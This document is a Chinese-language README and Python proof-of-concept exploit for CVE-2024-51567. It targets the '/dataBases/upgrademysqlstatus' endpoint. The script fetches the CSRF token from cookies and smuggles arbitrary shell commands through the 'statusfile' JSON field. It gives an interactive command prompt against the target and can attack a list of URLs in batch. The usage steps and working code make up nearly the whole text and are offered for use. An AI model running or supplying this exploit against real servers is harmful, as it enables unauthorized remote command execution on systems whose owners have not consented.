命令注入 / CSRF 绕过漏洞（cve-2024-51567）

pip install httpx

二、单目标运行

python CVE-2024-51567.py <目标URL>python CVE-2024-51567.py http://example.com

三、多目标批量运行，在文件中列出所有目标，每行一个 URL，然后运行：

python CVE-2024-51567.py <目标文件>python CVE-2024-51567.py targets.txt

四、运行脚本后，进入交互模式，可连续输入命令直到退出（输入 exit 或 quit）。

五、常见问题

"CSRF token 未找到":

确认目标服务器是否正确返回了 CSRF Token。

如路径不同，可调整 get_CSRF_token 函数。

POC

import httpx
import sys
import os

def get_CSRF_token(client):
    resp = client.get("/")
    if 'csrftoken' in resp.cookies:
        return resp.cookies['csrftoken']
    else:
        print("Error: CSRF token not found in cookies.")
        sys.exit(1)

def pwn(client, CSRF_token, cmd):
    headers = {
        "X-CSRFToken": CSRF_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url)
    }
    payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)
    return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json().get("requestStatus", "Error")

def exploit(client, cmd):
    CSRF_token = get_CSRF_token(client)
    stdout = pwn(client, CSRF_token, cmd)
    print(stdout)

def run_exploit(target):
    client = httpx.Client(base_url=target, verify=False)
    
    while True:
        cmd = input("$> ") 
        if cmd.lower() in ["exit", "quit"]:
            print("Exiting...")
            break
        exploit(client, cmd)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python CVE-2024-51567.py <target-url> or python CVE-2024-51567.py <target.txt>")
        sys.exit(1)

    target_arg = sys.argv[1]
    
    if os.path.isfile(target_arg):
        with open(target_arg, "r") as file:
            targets = [line.strip() for line in file if line.strip()]
        
        for target in targets:
            print(f"\nExploiting target: {target}")
            run_exploit(target)
    else:
        run_exploit(target_arg)

0x03 下载链接

https://github.com/XiaomingX/cve-2024-51567-poc